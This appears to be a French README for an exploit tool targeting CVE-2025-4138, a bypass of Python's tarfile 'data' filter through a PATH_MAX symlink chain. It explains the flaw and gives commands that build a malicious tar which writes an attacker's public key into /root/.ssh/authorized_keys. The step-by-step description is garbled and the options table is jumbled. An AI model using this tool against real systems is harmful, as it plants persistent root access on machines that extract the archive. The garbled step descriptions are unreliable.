
CVE-2025-4138 - Python Écriture arbitraire de fichier hors du répertoire d'extraction
filter="data"Écriture arbitraire de fichiers en dehors du répertoire d'extraction via une chaîne de liens symboliques PATH_MAX.
Signaleur : Caleb Brown (Google)
Le filtre de données tarfile de Python valide les cibles des liens symboliques à l'aide de os.path.realpath(). Lorsque le chemin résolu dépasse PATH_MAX (4096 octets sous Linux), realpath() cesse silencieusement de résoudre et ajoute les composants restants — y compris ../ — sous forme de chaînes littérales. Le filtre voit un chemin sûr ; le noyau suit la véritable traversée.
L'exploit construit un tar en quatre étapes :
a→ddd..., b→ddd...). Gonfle le chemin résolu à ~3968 octets.../ × 16 à la fin de la chaîne. realpath() déborde et ne peut pas le résoudre. Le noyau remonte jusqu'à la racine d'extraction./, puis descend vers le répertoire cible.ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| Flag | Description |
|---|---|
Réservé aux tests de sécurité autorisés et à une utilisation en CTF uniquement.
-o| Chemin de sortie de l'archive tar |
-t | Chemin absolu du fichier à écrire sur la cible |
-p | Fichier local à utiliser comme contenu du payload |
-m | Permissions de fichier en octal (défaut : 0644) |